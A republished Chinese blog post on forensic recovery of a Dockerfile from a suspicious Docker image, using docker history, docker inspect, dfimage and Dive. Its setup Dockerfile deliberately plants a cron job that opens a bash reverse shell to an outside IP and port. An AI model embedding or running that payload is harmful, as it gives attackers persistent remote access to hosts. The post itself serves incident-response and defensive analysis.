Docker镜像解析获取Dockerfile文件

news2024/11/10 11:19:19

01、概述

当涉及到容器镜像的安全时,特别是在出现镜像投毒引发的安全事件时,追溯镜像的来源和解析Dockerfile文件是应急事件处理的关键步骤。在这篇博客中,我们将探讨如何从镜像解析获取Dockerfile文件,这对容器安全至关重要。

02、环境准备

利用Dockfile构建一个反弹shell的恶意镜像:

FROM ubuntu:20.04
RUN  apt-get update &&\
     apt-get install -y cron &&\
     (echo '* * * * * bash -c "bash -i >& /dev/tcp/192.168.99.242/12345 0>&1"'; crontab -l )| crontab
ENTRYPOINT ["cron","-f","&&"]
CMD ["/bin/bash"]

03、镜像解析Dockerfile

3.1 镜像文件解析

在镜像的元数据信息中,到镜像构建所使用的 Dockerfile,可以成功解析 Docker 镜像并获取其 Dockerfile 内容,以了解镜像的构建过程和引入的软件包及配置。

docker save -o test.tar test:v1.0
 tar -xvf test.tar

94b35d821cdd597fa6ad8bdbf60f7182.png

3.2 docker命令参数

使用docker history 命令查看指定镜像的创建历史,展示只能看到一部分,可以加上 --no-trunc,就可以看到全部信息。

docker history test:v1.0 
docker history test:v1.0  --no-trunc

2ebb1b446a5d68d1facf587bc6e0fd6a.gif

使用docker inspect命令来查看Docker镜像的详细信息,通过--format参数可自行定义输出信息,获取镜像的配置信息。

#查看镜像的配置信息
docker inspect --format='{{json .Config}}' test:v1.0

ef3f213963c0184b8e56523ce79001b5.png

3.3 dfimage

dfimage是一款第三方工具,可用来从镜像中提取 Dockerfile

(1)生成快捷方式,使用dfimage可以输出很详细的 Dockerfile。

alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36  test:v1.0

055b7b7dce9b44d414243824b4469683.gif

3.4 Docker镜像分析神器 Dive

Dive是一款Docker镜像分析神器,分析和浏览 Docker 容器镜像内部,可以很详细的看到每一层文件的变化。

alias dive="docker run -ti --rm  -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
dive test:v1.0

3027be674d8ad7c78b6d934c2d500ee7.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/987841.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023 年高教社杯全国大学生数学建模竞赛题D 题 圈养湖羊的空间利用率

2023 年全国大学生数学建模竞赛题D 题 圈养湖羊的空间利用率思路详解Python源码 昨天已经将E题第一二问的详解和思路源码都写了出来,大家如果想从E题下手的话推荐参考本人文章,个人认为E题在建模上是优于D题的,毕竟有给出数据而且有明确的建…

基于springboot+vue+mysql的新能源充电系统--前后端分离(内含源码+报告+部署教程)

新能源充电系统管理系统按照操作主体分为管理员和用户。管理员的功能包括反馈管理、客服聊天管理、充电桩管理、充电桩预约管理、字典管理、新能源公告管理、用户管理、管理员管理等,可以管理报修。用户的功能包括管理部门以及部门岗位信息,管理充电桩信…

2023年下半年高项考试学习计划

之前总结 2023年上半年的考试,对于我自己,就是虎头蛇尾,也谈不上太过自信,好好学习了一段时间之后,也就是不再发博文,截止到2022年11月的时候,自己就算是放弃了,没有再主动学习。 结…

华为云云耀云服务器L实例评测|老用户回归的初印象

华为云云耀云服务器L实例评测|老用户回归的初印象 前言一、新面孔1. 云耀云服务器2. 服务器特色 二、上手感官体验1. 性价比感受2. 推荐宝塔面板3. CloudShell登录4. 安全性 总结 前言 其实笔者接触华为云已经很久了,第一次使用的云服务器就是华为云。当…

【Linux成长史】Linux基本指令大全

🎬 博客主页:博主链接 🎥 本文由 M malloc 原创,首发于 CSDN🙉 🎄 学习专栏推荐:LeetCode刷题集 数据库专栏 初阶数据结构 🏅 欢迎点赞 👍 收藏 ⭐留言 📝 如…

SpringMvc丨DispatcherServlet

​ ​ DispatcherServlet 是 Spring 框架中的一个核心组件,用于处理客户端请求并将请求分发到合适的处理程序(Controller)进行处理。它是 Spring MVC 框架的一部分,负责接收 HTTP 请求,将请求分发给控制器进行处理&a…

sed正则表达式

很多linux命令支持正则表达式,sed也不例外。 行开始 ( ^ ) 插入符^匹配一行的开始。比如说,匹配以103打头的行: sed -n /^103/p data.txt 注意,插入符只有在表达式的首位时,才表示行首匹配。 行尾( $) 美元符$匹…

怎样理解 Object 类中的 clone() 方法?

目录 1. clone() 方法说明 2. JVM 内存模型 3. 浅拷贝(浅克隆)与深拷贝(深克隆)的区别 4. 使用 clone() 克隆方法需要注意的事项 5. Object 类中的 clone() 方法为浅克隆 1. clone() 方法说明 clone() 方法是 Java.lang.Object 类中已经定义好的一个方法,该方…

文心一言、讯飞星火与GPT-4/3.5在回答中文历史问题的表现

最近,随着备受关注的文心一言正式免费向全社会开放,再次引起了社会层面对国产大模型的兴趣。 以文心一言为代表的国产大模型性能究竟如何?如果将它们相互比较,并且和GPT系列模型等国际前沿水平的LLM进行比较,会得到什么…

【系统设计系列】 应用层与微服务

系统设计系列初衷 System Design Primer: 英文文档 GitHub - donnemartin/system-design-primer: Learn how to design large-scale systems. Prep for the system design interview. Includes Anki flashcards. 中文版: https://github.com/donnemart…

超全60000多字详解 14 种设计模式 (多图+代码+总结+Demo)

超全60000多字详解 14 种设计模式 (多图代码总结Demo) 之前读耗子叔文章时,看到过有句话没有实践,再多的理论都是扯淡,个人很赞同。你觉得自己学会了,但实践与学会之间有着很大差别。 单例模式 (Singleton Pattern) 定义或概念 …

水滴图 echarts lable失真显示很多9 水滴图 显示99999999

解决办法: 添加一个 seriesName lable用seriesName <template><div ref"EchartLiquidfill" class"EchartLiquidfill" :style"{ width: width }" /> </template><script> export default {name: "EchartLiquidfil…

第8章 驱动模块编译进内核实验(iTOP-RK3568开发板驱动开发指南 )

通过上一章的学习&#xff0c;我们学会了使用menuconfig图形化配置工具&#xff0c;以及了解了menuconfig相关的文件&#xff1a;Kconfig .config XXXdefconfig。本章节学习将helloworld驱动编译进内核。 输入“cd drivers/char”进入到 drivers/char 目录下&#xff0c;然后输…

2023工博会,正运动超高速PCIe实时运动控制卡应用预览(一)

展会倒计时&#xff1a;11天 本次的中国国际工业博览会正运动技术将携超高速PCIe实时运动控制卡亮相。 •为智能装备提供高速高精运动控制解决方案&#xff1b; •内部搭载运动控制实时内核MotionRT7; •提供多路高速IO输入输出&#xff0c;具备多种实时运动控制功能&#x…

Maven安装(超详解)

下载地址:Maven – Download Apache Maven 在提供的资料中,已经提供了下载好的安装包。如下 1、解压 apache-maven-3.9.4-bin.zip(解压即安装) bin目录 : 存放的是可执行命令。(mvn 命令重点关注) conf目录 :存放Maven的配置文件。(settings.xml配置文件后期需要修改)…

Unity中的场景加载

1、同步场景 2、异步加载 3、保留物体到下个场景中

vue 前端 问题整理

列表显示字典数据 template里面的vue代码 <el-table-column label"性别" align"center" prop"sex"><template #default"scope"> <!-- <dict-tag :optionssysUserSex :value"scope.row.sex&quo…

HTTP代理与代理IP的区别

HTTP代理和代理IP是网络安全和隐私保护中常用的两种工具。HTTP代理是一种代理服务器&#xff0c;它使用HTTP协议来转发客户端请求和响应目标服务器的响应。代理IP是一种匿名代理服务器&#xff0c;它隐藏了用户的真实IP地址&#xff0c;以保护用户的隐私和安全。本文将介绍HTTP…

从“13天”到“0天”延时,揭秘幸福里离线SLA保障最佳实践

更多技术交流、求职机会&#xff0c;欢迎关注字节跳动数据平台微信公众号&#xff0c;回复【1】进入官方交流群 “幸福里”是抖音集团旗下集内容、社区、工具于一体的房产媒体综合信息平台&#xff0c;致力于提供多样化房产资讯、定制找房需求。随着幸福里业务发展&#xff0c;…

注塑机数据采集的数据类型 物理量种类

1.状态数据&#xff1a;运行、停机、故障、待机等机台状态数据&#xff1b; 2.产量数据&#xff1a;模次、产量数据&#xff1b; 3.效率数据&#xff1a;稼动率、节拍、运行时间、停机时间、故障时间、待机时间等数据&#xff1b; 4.工艺数据&#xff1a;工艺数据保存、调机…